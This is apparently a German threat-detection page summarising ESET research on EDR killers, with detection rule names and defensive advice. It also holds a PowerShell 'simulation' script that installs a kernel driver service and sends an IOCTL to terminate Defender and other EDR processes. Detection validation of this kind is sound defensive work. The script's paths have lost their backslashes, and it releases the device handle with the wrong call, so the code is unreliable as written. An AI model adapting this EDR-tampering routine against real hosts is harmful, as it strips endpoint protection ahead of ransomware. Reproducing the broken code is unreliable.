ESET Forschung EDR-Killer erklärt: Jenseits der Treiber
Detection stack
- AIDR
- Alert
- ETL
- Query
Zusammenfassung
Der Artikel untersucht das EDR-Killer-Ökosystem, das Ransomware-Betreiber verwenden, um den Endpunktschutz zu neutralisieren, bevor sie Verschlüsselungsprogramme starten. Er erklärt, wie Angreifer sich auf anfällige Treiber, legitime Anti-Rootkit-Dienstprogramme und sogar treiberlose Techniken verlassen, um Abwehrmaßnahmen zu umgehen und Sicherheitssoftware zu deaktivieren. Die Erkenntnisse basieren auf Telemetriedaten, die fast 90 EDR-Killer in realen Angriffen abdecken. Die Forschung unterstreicht auch die Rolle der Ransomware-Partner, die wiederholte Wiederverwendung derselben Treiber und den wachsenden Markt für kommerzialisierte EDR-Killer-Dienste.
Untersuchung
ESET-Forscher analysierten Telemetrie, Code-Repositories und dokumentierte Einbruchs-Fälle, um nachzuvollziehen, wie EDR-Killer gebaut, verteilt und eingesetzt werden. Sie klassifizierten mehrere Familien, darunter treiberbasierte, skriptbasierte, Anti-Rootkit- und treiberlose Varianten, und verknüpften sie mit Ransomware-Gruppen wie Warlock, LockBit, Akira und Medusa. Die Studie hob ferner die Aufrüstung von öffentlichem Proof-of-Concept-Code und den wachsenden Einfluss der AI-unterstützten Entwicklung in diesem Tool-Ökosystem hervor.
Abwehrmaßnahmen
Verteidiger sollten bekannte anfällige Treiber blockieren, den abnormalen Gebrauch privilegierter Administrationsbefehle überwachen und bekannte EDR-Killer-Binärdateien und Verhaltensmuster erkennen. Geschichtete Erkennungen, die die Treiberinstallation, die erzwungene Beendigung von Sicherheitsprodukten und ungewöhnliches Netzwerkblockierungsverhalten identifizieren, können das Zeitfenster verkleinern, das Angreifer haben, bevor die Ransomware-Ausführung beginnt.
Reaktion
Wenn ein EDR-Killer entdeckt wird, isolieren Sie den Host sofort, beenden Sie den bösartigen Prozess, entfernen Sie alle unautorisierten Treiber und stellen Sie sicher, dass die Sicherheitskontrollen vollständig wiederhergestellt sind. Folgen Sie mit einer forensischen Analyse, um festzustellen, welche Ransomware-Payload oder welcher Partneraktivität mit dem Eindringen verbunden ist, und aktivieren Sie den breiteren Incident-Response-Workflow.
Angriffsfluss
Dieser Teil wird noch aktualisiert. Registrieren Sie sich, um benachrichtigt zu werden.
Benachrichtigen Sie michErkennungen
Möglicher BYOVD – Bringen Sie Ihren eigenen anfälligen Treiber-Angriff (via datei_ereignis)
Anzeigen
Verdächtige Taskkill-Ausführung (via cmdline)
Anzeigen
Verdächtige TrueSight-Treiberinstallation (via system)
Anzeigen
Verdächtige Ransomware-beeinträchtigende Dienstbeendigung (via cmdline)
Anzeigen
Möglicher BYOVD – Bringen Sie Ihren eigenen anfälligen Treiber-Angriff (via audit)
Anzeigen
IOCs (HashSha1) zu erkennen: ESET-Forschung EDR-Killer erklärt: Jenseits der Treiber Teil 1
Anzeigen
IOCs (HashSha1) zu erkennen: ESET-Forschung EDR-Killer erklärt: Jenseits der Treiber Teil 2
Anzeigen
Skript-basierte Manipulation von Sicherheitsprozessen erkennen [Windows-Prozess-Erstellung]
Anzeigen
EDR-Killer verwenden DeviceIoControl zur Prozessbeendigung [Windows Sysmon]
Anzeigen
Simulationsausführung
Voraussetzung: Die Telemetrie- & Basislinien-Vorabprüfung muss bestanden haben.
Angriffsgeschichte & Befehle
-
Stufe 1 – Den bösartigen Treiber ablegen
Der Angreifer schreibt eine Treiber-Binärdatei (EdrKiller.sys) nachC:WindowsTempund registriert sie als einen Dienst mit dem NamenEdrKillerSvc. -
Stufe 2 – Den Treiberdienst starten
Das Starten des Dienstes lädt den Treiber in den Kernelraum, wo er einen IOCTL-Handler registriert, der in der Lage ist, Prozesse zu beenden. -
Stufe 3 – Den bösartigen
DeviceIoControlAufruf ausgeben
Mittels PowerShell eröffnet der Angreifer einen Handle zu\.EdrKillerund sendet den IOCTL-Code0x9C040001(hypothetischer „TerminateProcess“-Code). Der Treiber durchläuft die Prozessliste und tötet jeden Prozess, dessen ausführbarer Name einem bekannten EDR-Komponente entspricht. -
Stufe 4 – Beendigung verifizieren
Der Angreifer überprüft, dass die angezielten EDR-Prozesse nicht mehr laufen.
Regressionstestskript
# --------------------------------------------------------------
# EDR-Killer-Simulation – PowerShell (erfordert Administrator)
# --------------------------------------------------------------
# 1. Pfade & Variablen
$driverPath = "$env:ProgramDataEdrKiller.sys"
$serviceName = "EdrKillerSvc"
$deviceName = ".EdrKiller"
$ioctlCode = 0x9C040001 # Beispiel-Steuercode für "Prozesse beenden"
# 2. Bösartigen Treiber bereitstellen (simuliert – für realen Test durch echte .sys ersetzen)
# Für Demo-Zwecke kopieren wir einen legitimen Treiber (z.B., null.sys) als Platzhalter.
Copy-Item "$env:SystemRootSystem32driversnull.sys" -Destination $driverPath -Force
# 3. Dienst erstellen und starten, um den Treiber zu laden
sc.exe create $serviceName binPath= "$driverPath" type= kernel start= demand
sc.exe start $serviceName
Start-Sleep -Seconds 2 # dem Treiber Zeit geben, sich zu initialisieren
# 4. DeviceIoControl P/Invoke definieren
$signature = @"
using System;
using System.Runtime.InteropServices;
public class NativeMethods {
[DllImport("kernel32.dll", SetLastError=true)]
public static extern IntPtr CreateFile(
string lpFileName,
uint dwDesiredAccess,
uint dwShareMode,
IntPtr lpSecurityAttributes,
uint dwCreationDisposition,
uint dwFlagsAndAttributes,
IntPtr hTemplateFile);
[DllImport("kernel32.dll", SetLastError=true)]
public static extern bool DeviceIoControl(
IntPtr hDevice,
uint dwIoControlCode,
IntPtr lpInBuffer,
uint nInBufferSize,
IntPtr lpOutBuffer,
uint nOutBufferSize,
out uint lpBytesReturned,
IntPtr lpOverlapped);
}
"@
Add-Type $signature
# 5. Handle für den Treiber öffnen
$GENERIC_READ = 0x80000000
$GENERIC_WRITE = 0x40000000
$OPEN_EXISTING = 3
$hDevice = [NativeMethods]::CreateFile(
$deviceName,
$GENERIC_READ -bor $GENERIC_WRITE,
0,
[IntPtr]::Zero,
$OPEN_EXISTING,
0,
[IntPtr]::Zero)
if ($hDevice -eq [IntPtr]::MinusOne) {
Write-Error "Öffnen des Handles für $deviceName fehlgeschlagen"
exit 1
}
# 6. Den bösartigen IOCTL ausgeben
$bytesReturned = 0
$success = [NativeMethods]::DeviceIoControl(
$hDevice,
$ioctlCode,
[IntPtr]::Zero,
0,
[IntPtr]::Zero,
0,
[ref]$bytesReturned,
[IntPtr]::Zero)
if ($success) {
Write-Host "Bösartige DeviceIoControl erfolgreich gesendet."
} else {
$err = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
Write-Error "DeviceIoControl mit Fehler $err fehlgeschlagen"
}
# 7. Handle schließen
[System.Runtime.InteropServices.Marshal]::Release($hDevice) | Out-Null
# 8. Überprüfen, ob typische EDR-Prozesse weg sind (Beispielnamen)
$edrProcs = @("MsMpEng.exe","windefend.exe","MsSense.exe")
foreach ($proc in $edrProcs) {
if (Get-Process -Name $proc -ErrorAction SilentlyContinue) {
Write-Warning "$proc läuft noch."
} else {
Write-Host "$proc erfolgreich beendet."
}
}
Aufräumungsbefehle
# Stoppen und Löschen des bösartigen Treiberdienstes
sc.exe stop $serviceName
sc.exe delete $serviceName
# Falsche Treiberdatei entfernen
Remove-Item -Path $driverPath -Force
Write-Host "Aufräumung abgeschlossen."